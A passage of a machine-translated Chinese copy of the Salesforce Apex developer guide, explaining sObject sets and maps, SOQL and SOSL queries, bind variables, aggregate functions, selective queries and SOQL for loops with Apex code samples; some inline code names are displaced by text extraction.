Set<Account> accountSet = new Set<Account>{a1, a2};

// Verify that the set contains two items
System.assertEquals(accountSet.size(), 2);

警告

如果 set 元素是对象,并且这些对象 添加到集合后更改,则找不到它们 例如,在使用 OR 方法时,由于字段值已更改。containscontainsAll

sObjects 的映射

映射键和值可以是任何数据类型,包括 sObject 类型,例如 Account。映射可以在其键和值中保存 sObject。地图键 表示映射到映射值的唯一值。例如,一个 通用键是映射到帐户的 ID(特定的 sObject 类型)。此示例演示如何定义其键类型为 ID,其值的类型为 Account。

Map<ID, Account> m = new Map<ID, Account>();

与基元类型一样,您可以在以下情况下填充映射键值对 映射是使用大括号 () 语法声明的。在大括号内, 首先指定键,然后使用 指定该键的值。本示例创建 将整数添加到帐户列表,并使用帐户列表添加一个条目 创建时间较早。{}=>

Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};

映射允许在其键中使用 sObject。仅当 sObject 字段时,才必须在键中使用 sObject 值不会改变。

从 SOQL 查询自动填充映射条目

使用 SOQL 查询时,可以从 SOQL 返回的结果填充映射 查询。映射键必须使用 ID 或 String 数据类型声明,并且映射 value 必须声明为 sObject 数据类型。此示例演示如何从查询填充新映射。在 例如,SOQL 查询返回带有其 和 字段的帐户列表。操作员使用返回的帐户列表来创建地图。

IdNamenew

// Populate map from SOQL query
Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries
for (ID idKey : m.keyset()) {
    Account a = m.get(idKey);
    System.debug(a);
}

此映射类型的一种常见用法是内存中 两个表之间的“联接”。

注意

作为多个社区成员的用户的最近查看的记录不能是 通过 Apex 自动检索到地图中。这是因为用户的记录 不同的网络可能会导致地图不支持的重复 ID。查看更多 信息,请参阅最近查看

使用 Map 方法

该类公开了各种方法 可用于处理地图元素,例如添加、删除、 或检索元素。此示例使用 Map 方法添加新元素 并从地图中检索现有元素。此示例还检查 对于键的存在,并获取所有键的集合。地图在 此示例有一个元素,其中包含一个整数键和一个帐户值。Map

Account myAcct = new Account();                        //Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct);                  // Insert a new key-value pair in the map
System.assert(!m.containsKey(3));  // Assert that the map contains a key
Account a = m.get(1);              // Retrieve a value, given a particular key
Set<Integer> s = m.keySet();       // Return a set that contains all of the keys in the map
  • sObject 映射注意事项

sObject 映射注意事项

使用 sObject 作为映射键时要小心。sObject 的键匹配 基于所有 sObject 字段值的比较。如果一个或 将 sObject 添加到地图后,更多字段值发生变化,尝试 要从映射中检索此 sObject,则返回 。这是因为修改后的 由于字段值不同,在映射中找不到 sObject。 如果显式更改 sObject 上的字段,或者 如果系统隐式更改了 sObject 字段;例如 插入 sObject 后,sObject 变量具有 ID 字段 自动填充。尝试从它所到的映射中获取此对象 在操作不会生成映射条目之前添加,如本示例所示。

nullinsert

// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map<sObject, Integer> m = new Map<sObject, Integer>{
a1 => 1};
    
// Get a1's value from the map.
// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
System.assertEquals(null, a1.Id);

// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);

// Get a1's value from the map again.
// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));

另一种情况 其中自动填充的 sObject 字段位于触发器中,例如,当 对 sObject 使用插入触发器之前和之后。如果这些触发器 共享一个类中定义的静态映射,并将 中的 sObject 添加到该映射中 在 before 触发器中,在 after 触发器中找不到 映射,因为两组 sObject 的字段不同 是自动填充的。after 触发器中的 sObjects 在插入后填充了系统字段, 即:ID、CreatedDate、CreatedById、LastModifiedDate、LastModifiedById、 和 SystemModStamp。

Trigger.NewTrigger.NewTrigger.New

ref

SOQL 和 SOSL 查询

您可以评估 Salesforce 对象查询语言 (SOQL) 或 Salesforce 对象搜索 语言 (SOSL) 语句在 Apex 中动态,方法是将语句括在正方形中 括弧。

SOQL 语句

SOQL 语句的计算结果为方法查询的 sObjects、单个 sObject 或 Integer 列表。count例如,您可以检索名为 顶点:

List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];

从 此列表,您可以访问个人 元素:

if (!aa.isEmpty()) {
   // Execute commands
}

您还可以从现有对象的 SOQL 查询创建新对象。这个例子 为第一个客户创建一个新联系人,其员工数量较多 比 10.

Contact c = new Contact(Account = [SELECT Name FROM Account 
    WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';

这 新创建的对象包含其字段的 NULL 值,必须设置这些值。该方法可用于返回 查询返回的行数。以下示例返回总数 姓氏为 魏斯曼:

count

Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];

你 也可以使用标准对结果进行操作 算术:

Integer j = 5 * [SELECT COUNT() FROM Account];

执行 SOQL 查询时适用 SOQL 限制。请参阅执行调控器和限制。

有关 SOQL 查询语法的完整说明,请参阅 Salesforce SOQL 和 SOSL 参考 指南。

SOSL 声明

SOSL 语句的计算结果为 sObject 列表,其中每个列表都包含 特定 sObject 类型的搜索结果。始终返回结果列表 其顺序与在 SOSL 查询中指定的顺序相同。如果 SOSL 查询没有 返回指定 sObject 类型的任何记录,搜索结果中包括一个空的 该 sObject 的列表。例如,您可以返回客户、联系人、商机和潜在顾客的列表 以短语开头 地图:

List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead];

注意Apex 中子句的语法不同于 SOAP API 和 REST API 中子句的语法:

FINDFIND

  • 在 Apex 中,子句的值用单引号分隔。为 例:FINDFIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead注意
  • 在 API 中,子句的值用大括号分隔。为 例:FINDFIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

顶点 在系统模式下运行会忽略字段级安全性,而 使用 扫描匹配项。IN ALL FIELDS从 中,您可以为 每个对象 返回:

searchList

Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);

执行 SOSL 查询时适用 SOSL 限制。请参阅执行调控器和限制。

有关 SOSL 查询语法的完整说明,请参阅 Salesforce SOQL 和 SOSL 参考 指南。

  1. 使用 SOQL 和 SOSL 查询结果
  2. 通过关系访问 sObject 字段
  3. 了解外键和父子关系 SOQL 查询
  4. 使用 SOQL 聚合函数
  5. 使用非常大的 SOQL 查询
  6. 使用返回一条记录的 SOQL 查询
  7. 通过避免 null 值来提高性能
  8. 在 SOQL 查询
    中使用多态关系 多态关系是对象之间的关系,其中引用的对象可以是几种不同类型的类型之一。例如,任务的关系字段可以是联系人或潜在顾客。Who
  9. 在 SOQL 和 SOSL 查询中使用 Apex 变量
  10. 使用 SOQL 语句查询所有记录

使用 SOQL 和 SOSL 查询结果

SOQL 和 SOSL 查询仅返回 sObject 字段的数据 在原始查询中被选中。如果您尝试访问的字段 未在 SOQL 或 SOSL 查询中选择(ID 除外),您会收到 运行时错误,即使该字段包含数据库中的值也是如此。 下面的代码示例会导致运行时错误:

insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

以下是重写的相同代码示例,因此它不会 产生运行时错误。请注意,已作为 select 语句的一部分添加在 之后。NameId

insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

即使只选择了一个 sObject 字段,SOQL 或 SOSL 查询 始终将数据作为完整记录返回。因此,您必须取消引用 该字段以访问它。例如,此代码检索 带有 SOQL 查询的数据库中的 sObject 列表,访问 列表中的第一个客户记录,然后取消引用记录的字段:AnnualRevenue

Double rev = [SELECT AnnualRevenue FROM Account
              WHERE Name = 'Acme'][0].AnnualRevenue;

// When only one result is returned in a SOQL query, it is not necessary
// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
              WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;

唯一没有必要取消引用的情况 SOQL 查询结果中的 sObject 字段,是当查询 返回一个 Integer 作为操作的结果:COUNT

Integer i = [SELECT COUNT() FROM Account];

SOSL 查询返回的记录中的字段必须始终取消引用。

另请注意,包含公式的 sObject 字段在 发出了 SOQL 或 SOSL 查询。对公式中使用的其他字段所做的任何更改都不会 反映在公式字段值中,直到记录在 Apex 中保存并重新查询。喜欢 其他只读 sObject 字段,则公式字段本身的值不能在 顶点。

通过关系访问 sObject 字段

sObject 记录表示与其他记录的关系,具有两个字段:ID 和 地址,指向关联 sObject 的表示形式。例如, Contact sObject 具有 键入 ID 和 Account 类型的字段 指向关联的 sObject 记录本身。AccountIdAccount

ID 字段可用于更改与联系人关联的帐户, 而 sObject 引用字段可用于访问帐户中的数据。这 reference 字段仅作为 SOQL 或 SOSL 查询的结果进行填充(请参阅注释)。

例如,以下 Apex 代码显示了如何关联客户和联系人 ,然后如何使用联系人来修改 帐户:

注意

为了提供最完整的示例,此代码使用了一些描述的元素 本指南后面部分:

  • 有关 和 的信息,请参见 Insert 语句和 Update 语句。insertupdate
Account a = new Account(Name = 'Acme');
insert a;  // Inserting the record automatically assigns a 
           // value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;

// A SOQL query accesses data for the inserted contact, 
// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];

// Now fields in both records can be changed through the contact
c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';

// To update the database, the two types of records must be 
// updated separately
update c;         // This only changes the contact's last name
update c.Account; // This updates the account name

注意

表达式 ,以及任何其他 遍历关系的表达式,显示略有不同的特征 当它被读取为一个值时,而不是当它被修改时:c.Account.Name

  • 当作为值读取时,如果为 null,则计算结果为 ,但生成 .此设计允许开发人员导航 多个关系,无需检查 null 的乏味 值。c.Accountc.Account.NamenullNullPointerException
  • 修改时,如果是 null,则生成一个 .c.Accountc.Account.NameNullPointerException

在 SOSL 中,您可以以与 SELECT 类似的方式访问插入的联系人的数据 上一个 SOQL 中使用的语句 例。

List<List<SObject>> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING Contact(id,Account.Name)]

此外,sObject 字段键可以与 、 一起使用,也可以通过外部 ID 解析外键。为 例:insertupdateupsert

Account refAcct = new Account(externalId__c = '12345');

Contact c = new Contact(Account = refAcct, LastName = 'Kay');

insert c;

这将插入一个具有相等的新联系人,以等于的帐户 到“12345”。如果没有此类帐户,则插入失败。AccountIdexternal_id

提示

以下代码等效于上面的代码。但是,因为它使用 SOQL 查询,效率不高。如果多次调用此代码,它可以 达到最大 SOQL 查询数的执行限制。查看更多 有关执行限制的信息,请参阅执行调控器和限制。

Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];

Contact c = new Contact(Account = refAcct.Id);

insert c;

了解外键和父子 关系 SOQL 查询

声明 SOQL 查询可以是任何有效的 SOQL 语句,包括外键 和父子记录联接。如果包含外键联接, 生成的 sObject 可以使用正态字段表示法进行引用。 例如:SELECT

System.debug([SELECT Account.Name FROM Contact
              WHERE FirstName = 'Caroline'].Account.Name);

此外,sObject 中的父子关系充当 SOQL 查询也是如此。例如:

for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
                  FROM Account
                  WHERE Name = 'Acme']) {
     Contact[] cons = a.Contacts;
}

//The following example also works because we limit to only 1 contact
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
                  FROM Account
                  WHERE Name = 'testAgg']) {
     Contact c = a.Contacts;
}

使用 SOQL 聚合函数

SOQL 中的聚合函数(如 和 )允许您在查询中汇总和汇总数据。 有关聚合函数的详细信息,请参阅 Salesforce SOQL 和 SOSL 中的聚合函数 参考指南。SUM()MAX()

您可以在不使用子句的情况下使用聚合函数。例如,您可以使用聚合 函数来查找所有机会的平均金额。GROUP BYAVG()

AggregateResult[] groupedResults
  = [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');

请注意,任何包含聚合函数的查询都会以 AggregateResult 对象。AggregateResult 是只读 sObject,仅用于查询 结果。

当您将聚合函数与子句一起使用时,它们将成为生成报告的更强大的工具。例如,您可以按广告系列找到所有商机的平均金额。GROUP BY

AggregateResult[] groupedResults
  = [SELECT CampaignId, AVG(Amount)
      FROM Opportunity
      GROUP BY CampaignId];
for (AggregateResult ar : groupedResults)  {
    System.debug('Campaign ID' + ar.get('CampaignId'));
    System.debug('Average amount' + ar.get('expr0'));
}

列表中没有 别名会自动获取一个隐含的别名,其格式为 ,其中表示 没有显式别名的聚合字段。的值从 0 开始,并且 每个聚合字段的增量,没有显式别名。有关更多信息,请参阅在 Salesforce SOQL 和 SOSL 中将别名与 GROUP BY 结合使用 参考指南。

注意

包含聚合函数的查询仍受 查询行。除每个函数之外的所有聚合函数,或包括每个聚合函数 聚合用作查询行的行,用于限制跟踪。COUNT()COUNT(fieldname)

对于 或 查询,限制计为一个查询行,除非查询 包含一个 GROUP BY 子句,在这种情况下,每个分组使用一个查询行。COUNT()COUNT(fieldname)

使用非常大的 SOQL 查询

重要

在可能的情况下,我们更改了非包容性条款,以符合我们的 平等的公司价值观。我们保留了某些条款,以避免对客户产生任何影响 实现。

SOQL 查询有时会返回如此多的 sObject,以至于堆大小限制为 超出并发生错误。要解决此问题,请改用 SOQL 查询循环,因为它可以处理多个 使用对 和 的内部调用对记录进行批处理。forqueryqueryMore

例如,如果结果太大,则以下语法会导致运行时异常:

Account[] accts = [SELECT Id FROM Account];

请改用 SOQL 查询循环,如以下 以下示例:for

// Use this format if you are not executing DML statements 
// within the for loop
for (Account a : [SELECT Id, Name FROM Account 
                  WHERE Name LIKE 'Acme%']) {
    // Your code without DML statements here
}

// Use this format for efficiency if you are executing DML statements 
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
                            WHERE Name LIKE 'Acme%']) {
    for (Account a : accts) {
    // Your code here
    }
    update accts;
}

注意

在循环中使用 SOQL 查询 降低了达到堆大小限制的可能性。但是,这种方法可以 导致 DML 调用增加,导致使用的 CPU 周期更多。有关详细信息,请参阅 SOQL For 循环与标准 SOQL 查询。for

以下示例演示了用于批量更新记录的 SOQL 查询循环。假设你想 在记录中更改其名字和姓氏的联系人的联系人的姓氏 匹配指定条件:for

public void massUpdate() {
    for (List<Contact> contacts:
      [SELECT FirstName, LastName FROM Contact]) {
        for(Contact c : contacts) {
            if (c.FirstName == 'Barbara' &&
              c.LastName == 'Gordon') {
                c.LastName = 'Wayne';
            }
        }
        update contacts;
    }
}

不是在循环中使用 SOQL 查询,而是 批量更新记录的首选方法是使用批处理 Apex,这样可以最大限度地降低达到调速器限制的风险。for

有关更多信息,请参阅 SOQL For 循环。

更高效的 SOQL 查询

为了获得最佳性能,SOQL 查询必须是有选择性的,尤其是对于内部的查询 触发器。为了避免长时间的执行,系统可以终止非选择性 SOQL 查询。当触发器中的非选择性查询时,开发人员会收到错误消息 对包含超过 100 万条记录的对象执行。为了避免这种情况 错误,请确保查询是有选择性的。选择性 SOQL 查询条件

  • 当其中一个查询筛选器位于索引上时,查询是有选择性的 字段和查询筛选器会减少生成的行数 低于系统定义的阈值。SOQL 查询的性能 改进了当 WHERE 子句中使用的两个或多个过滤器满足 提到的条件。
  • 选择性阈值为前 100 万条记录的 10%,并且 在前 100 万条记录之后,少于 5% 的记录,最多 最多 333,333 条记录。在某些情况下,例如 作为索引标准字段的查询筛选器,阈值可以 更高。此外,选择性阈值受以下因素的影响 改变。

选择性 SOQL 查询的自定义索引注意事项

  • 默认情况下,以下字段已编制索引。
    • 主键(Id、Name 和 OwnerId 字段)
    • 外键(查找或主从关系 字段)
    • 审核日期(CreatedDate 和 SystemModstamp 字段)
    • RecordType 字段(为以下所有标准对象编制索引 特色他们)
    • 标记为“外部 ID”或“唯一”的自定义字段
  • 默认情况下未编制索引的字段在以下情况下自动编制索引 Salesforce Optimizer 认识到索引可以改进 频繁运行查询的性能。
  • Salesforce 支持可以根据请求添加自定义索引 客户。
  • 无法在以下类型的字段上创建自定义索引: 多选选择列表,多币种中的货币字段 组织、长文本字段、某些公式字段和二进制文件 字段(Blob、文件或加密文本类型的字段。新数据 类型,通常是复杂的类型,会定期添加到 Salesforce, 这些类型的字段并不总是允许自定义索引。
  • 您无法在包含以下内容的公式字段上创建自定义索引 对选择列表字段的函数调用。TEXT
  • 通常,在这些情况下不使用自定义索引。
    • 查询的值超过系统定义的阈值。
    • filter 运算符为负运算符,例如 (或 )、 和 。NOT EQUAL TO!=NOT CONTAINSNOT STARTS WITH
    • 运营商 在过滤器中使用,以及要扫描的行数 超过 333,333 人。操作员需要对 指数。此阈值可能会发生变化。CONTAINSCONTAINS
    • 您正在与空值 () 进行比较。Name != ”
    但是,还有其他复杂的方案,其中自定义 不能使用索引。如果出现以下情况,请联系您的 Salesforce 代表 这些情况未涵盖你的方案,或者如果需要 对非选择性查询的进一步帮助。

选择性 SOQL 查询的示例为了更好地了解对大型对象的查询是否具有选择性, 让我们分析一些查询。对于这些查询,假设有更多 帐户 sObject 的 100 万条记录。这些记录包括 软删除的记录,即仍在回收中的已删除记录 站。查询 1:

SELECT Id FROM Account WHERE Id IN (<list of account IDs>)

该子句位于索引上 字段 (Id)。如果返回更少 记录超过选择性阈值时,则使用索引 on。该指数通常为 当 ID 列表仅包含几条记录时使用。WHERESELECT COUNT() FROM Account WHERE Id IN (<list of account IDs>)Id查询 2:

SELECT Id FROM Account WHERE Name != ''

因为 Account 是一个大对象,即使 Name 已编制索引(主键), 此筛选器返回大部分记录,进行查询 非选择性。查询 3:

SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'

这里 我们必须看看是否有任何过滤器,当单独考虑时,是 选择性。正如我们在前面的示例中看到的,第一个筛选器不是 选择性。因此,让我们关注第二个问题。如果记录计数 返回的 by 低于 选择性阈值,CustomField__c编制索引,则查询为 选择性。SELECT COUNT() FROM Account WHERE CustomField__c = ‘ValueA’

使用返回一条记录的 SOQL 查询

当结果列表仅包含一个 sObject 值时,可以使用 SOQL 查询来分配单个 sObject 值 元素。当表达式的 L 值为单个 sObject 类型时,Apex 会自动将 查询结果列表中的单个 sObject 记录为 L 值。如果为零,则会导致运行时异常 在列表中找到 sObject 或多个 sObject。例如:

List<Account> accts = [SELECT Id FROM Account];

// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;

通过避免 null 值来提高性能

在 SOQL 和 SOSL 查询中,显式筛选出 WHERE 子句允许 Salesforce 提高查询性能。在以下示例中, 值为 null 的任何记录都是 从 搜索。

Thread__c

Public class TagWS {

/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
   public static webservice List<String> 
   getThreadTags(String threadId, List<String> tags) {

      system.debug(LoggingLevel.Debug,tags);

      List<String> retVals = new List<String>();
      Set<String> tagSet = new Set<String>();
      Set<String> origTagSet = new Set<String>();
      origTagSet.addAll(tags);

// Note WHERE clause optimizes search where Thread__c is not null

      for(CSO_CaseThread_Tag__c t : 
         [SELECT Name FROM CSO_CaseThread_Tag__c 
         WHERE Thread__c = :threadId AND
         Thread__c != null]) 

      {
         tagSet.add(t.Name);
      }
      for(String x : origTagSet) { 
   // return a minus version of it so the UI knows to clear it
         if(!tagSet.contains(x)) retVals.add('-' + x);
      }
      for(String x : tagSet) { 
   // return a plus version so the UI knows it's new
         if(!origTagSet.contains(x)) retvals.add('+' + x);
      }

      return retVals;
   }
}

在 SOQL 查询中使用多态关系

多态关系是对象之间的关系,其中引用 对象可以是几种不同的类型之一。例如,任务的关系字段可以是联系人或潜在顾客。

Who

在Apex中使用具有多态关系的SOQL查询的方法如下。 如果需要有关多态关系的更多常规信息,请参阅了解关系字段和 SOQL 和 SOSL 引用中的多态字段。您可以使用引用 Apex 中的多态字段的 SOQL 查询来获取以下结果: 取决于多态字段引用的对象类型。一种方法是过滤 使用 Type 限定符的结果。此示例查询事件 通过“什么”与“帐户”或“商机”相关 田。

List<Event> events = [SELECT Description FROM Event WHERE What.Type IN ('Account', 'Opportunity')];

另一个 方法是在 SOQL 语句。此示例还查询 通过“什么”与“客户”或“商机”相关的事件 田。

TYPEOFSELECT

List<Event> events = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN Amount END FROM Event];

这些 查询返回 sObject 列表,其中关系字段引用所需的 对象类型。如果需要访问多态关系中的引用对象,可以使用 instanceof 关键字设置为 确定对象类型。以下示例用于确定 Account 或 Opportunity 是否与 事件。

instanceof

Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
    // myEvent.What references an Account, so process accordingly
} else if (myEvent.What instanceof Opportunity) {
    // myEvent.What references an Opportunity, so process accordingly
}

请注意,必须分配查询返回到的引用的 sObject 一个适当类型的变量,然后才能将其传递给另一个方法。这 以下示例

  1. 使用 SOQL 查询Merchandise__c自定义对象的用户或组所有者 使用子句进行查询TYPEOF
  2. 用于确定所有者 类型instanceof
  3. 将所有者对象分配给用户或组类型变量,然后再将其传递给 实用程序方法
public class PolymorphismExampleClass {

    // Utility method for a User
    public static void processUser(User theUser) {
        System.debug('Processed User');
    }
    
    // Utility method for a Group
    public static void processGroup(Group theGroup) {
        System.debug('Processed Group');
    }

    public static void processOwnersOfMerchandise() {
        // Select records based on the Owner polymorphic relationship field
        List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName WHEN Group THEN Email END FROM Merchandise__c];	
        // We now have a list of Merchandise__c records owned by either a User or Group
        for (Merchandise__c merch: merchandiseList) {
            // We can use instanceof to check the polymorphic relationship type
            // Note that we have to assign the polymorphic reference to the appropriate
            // sObject type before passing to a method
            if (merch.Owner instanceof User) {
                User userOwner = merch.Owner;
                processUser(userOwner);
            } else if (merch.Owner instanceof Group) {
                Group groupOwner = merch.Owner;
                processGroup(groupOwner);
            }
        }
    }
}

在 SOQL 和 SOSL 查询中使用 Apex 变量

Apex 中的 SOQL 和 SOSL 语句可以引用 Apex 代码 变量和表达式(如果它们前面有冒号 ()。在 SOQL 中使用局部代码变量 或 SOSL 语句称为绑定。Apex 解析器首先评估 执行 SOQL 或 SOSL 语句之前代码上下文中的局部变量。:捆 表达式可以用作:

  • 子句中的搜索字符串。FIND
  • 子句中的筛选器文本。WHERE
  • 子句中 or 运算符的值,允许对一组动态值进行筛选。请注意, 这对于 ID 或字符串列表特别有用,尽管它适用于 任何类型。INNOT INWHERE
  • 子句中的分部名称。WITH DIVISION
  • 子句中的数值。LIMIT
  • 子句中的数值。OFFSET

例如:

Account A = new Account(Name='xxx');
insert A;
Account B;

// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];

// A bind with arithmetic
B = [SELECT Id FROM Account 
     WHERE Name = :('x' + 'xx')];

String s = 'XXX';

// A bind with expressions
B = [SELECT Id FROM Account 
     WHERE Name = :'XXXX'.substring(0,3)];

// A bind with INCLUDES clause
B = [SELECT Id FROM Account WHERE :A.TYPE INCLUDES (‘Customer – Direct; Customer – Channel’)];

// A bind with an expression that is itself a query result
B = [SELECT Id FROM Account
     WHERE Name = :[SELECT Name FROM Account
                    WHERE Id = :A.Id].Name];

Contact C = new Contact(LastName='xxx', AccountId=A.Id);
insert new Contact[]{C, new Contact(LastName='yyy', 
                                    accountId=A.id)};

// Binds in both the parent and aggregate queries
B = [SELECT Id, (SELECT Id FROM Contacts
                 WHERE Id = :C.Id)
     FROM Account
     WHERE Id = :A.Id];

// One contact returned
Contact D = B.Contacts;

// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];

// An OFFSET bind
Integer offsetVal = 10;
List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal];

// An IN-bind with an Id list. Note that a list of sObjects
// can also be used--the Ids of the objects are used for 
// the bind
Contact[] cc = [SELECT Id FROM Contact LIMIT 2];
Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc];

// An IN-bind with a String list
String[] ss = new String[]{'a', 'b'};
Account[] aa = [SELECT Id FROM Account 
                WHERE AccountNumber IN :ss];

// A SOSL query with binds in all possible clauses

String myString1 = 'aaa';
String myString2 = 'bbb';
Integer myInt3 = 11;
String myString4 = 'ccc';
Integer myInt5 = 22;

List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS 
                                  RETURNING 
                                     Account (Id, Name WHERE Name LIKE :myString2
                                              LIMIT :myInt3), 
                                     Contact, 
                                     Opportunity, 
                                     Lead 
                                  WITH DIVISION =:myString4 
                                  LIMIT :myInt5];

注意单位不支持 Apex 绑定变量 参数。此查询 不起作用。

DISTANCE

String units = 'mi';
List<Account> accountList = 
    [SELECT ID, Name, BillingLatitude, BillingLongitude 
     FROM Account 
     WHERE DISTANCE(My_Location_Field__c, GEOLOCATION(10,10), :units) < 10];

使用 SOQL 语句查询所有记录

SOQL 语句可以使用关键字查询组织中的所有记录,包括 已删除的记录和存档的活动。例如:

ALL ROWS

System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);

您可以使用 组织的回收站。不能将关键字与关键字一起使用。ALL ROWSALL ROWSFOR UPDATE

SOQL For 循环

SOQL 循环遍历所有 SOQL 查询返回的 sObject 记录。

forSOQL 循环的语法是 也:

for

for (variable : [soql_query]) {
    code_block
}

for (variable_list : [soql_query]) {
    code_block
}

两者 和 必须与 sObject 的类型相同 由 返回。与标准 SOQL 查询一样,该语句可以引用 在其子句中对表达式进行编码 使用语法。为 例:

 variable variable_list soql_query[soql_query]WHERE:

String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
                  where Name LIKE :(s+'%')]) {
    // Your code
}

下面的示例将 SOQL 查询创建列表与 DML 方法相结合。

update

// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel']; 

// Loop through the list and update the Name field
for(Account a : accs){
   a.Name = 'Oracle';
}

// Update the database
update accs;

SOQL For 循环与标准 SOQL 查询

SOQL 循环不同于标准 SOQL 语句,因为它们用于检索 sObject 的方法。虽然标准 SOQL 和 SOSL 查询中讨论的查询可以检索查询或多个对象记录, SOQL 循环检索所有 sObject,使用 通过调用 SOAP API 的 和 方法进行高效分块。 开发人员可以通过使用 SOQL 循环来处理返回的查询结果,从而避免对堆大小的限制 多条记录。但是,此方法可能会导致使用更多的 CPU 周期。 请参见堆总大小。forcountforqueryqueryMorefor

包含聚合函数的查询不支持 。如果出现以下情况,则会发生运行时异常 使用包含聚合函数的查询,该聚合函数在循环中返回超过 2,000 行。queryMorefor

SOQL For 循环格式

SOQL 循环可以一次处理一个记录 时间使用单个 sObject 变量,或一次使用 sObject 列表:

for

  • 单个 sObject 格式对每个 sObject 记录执行一次循环。因此 它易于理解和使用,但如果您愿意,效率非常低下 在循环体中使用数据操作语言 (DML) 语句。每个 DML 语句结束 一次只能处理一个 sObject。for<code_block>for
  • sObject 列表格式对每个包含 200 个 sObject 的列表执行一次循环。 因此,它更难理解和使用,但 如果必须在循环体中使用 DML 语句,则为最佳选择。每个 DML 语句可以 一次批量处理 sObject 列表。for<code_block>for

For example, the following code illustrates the difference between the two types of SOQL query loops: 

for

// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint(); 

insert new Account[]{new Account(Name = 'yyy'), 
                     new Account(Name = 'yyy'), 
                     new Account(Name = 'yyy')};

// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
    i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
                       // database, the loop executed three times

// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
    j = tmp.size();
    i++;
}
System.assert(j == 3); // The lt should have contained the three accounts
                       // named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 200 records and,
                       // only three records should have been returned, the 
                       // loop should have executed only once

// Revert the database to the original state
Database.rollback(sp);

注意

  • 和关键字可用于两者 内联查询循环的类型 格式。使用 sObject 列表格式时,跳到下一个 sObject 列表。breakcontinueforcontinue
  • DML 语句一次最多只能处理 10,000 条记录,而 sObject 列出循环进程记录 每批 200 个。因此,如果您要插入、更新或删除 在 sObject 列表循环中,每个返回的记录都有多个记录,可能会遇到 运行时限制的错误。查看执行 调速器和限制。forfor
  • 你可能会得到一个 带有消息 的 SOQL 循环。有时会引发此异常 当访问检索到的大量子记录(200 个或更多)时 sObject,或者在获取此类记录集的大小时。为 例如,以下 SOQL 循环中的查询检索特定帐户的子联系人。如果 此帐户包含 200 多个子联系人,循环中的语句会导致异常。QueryExceptionforAggregate query has too many rows for direct assignment, use FOR loopforforfor (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts) FROM Account WHERE Id IN ('<ID value>')]) { List<Contact> contactList = acct.Contacts; // Causes an error Integer count = acct.Contacts.size(); // Causes an error }

若要避免出现此异常,请使用循环遍历子项 记录,作为 遵循。

for

for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts) 
                    FROM Account WHERE Id IN ('<ID value>')]) { 
    Integer count=0;
    for (Contact c : acct.Contacts) {
        count++;
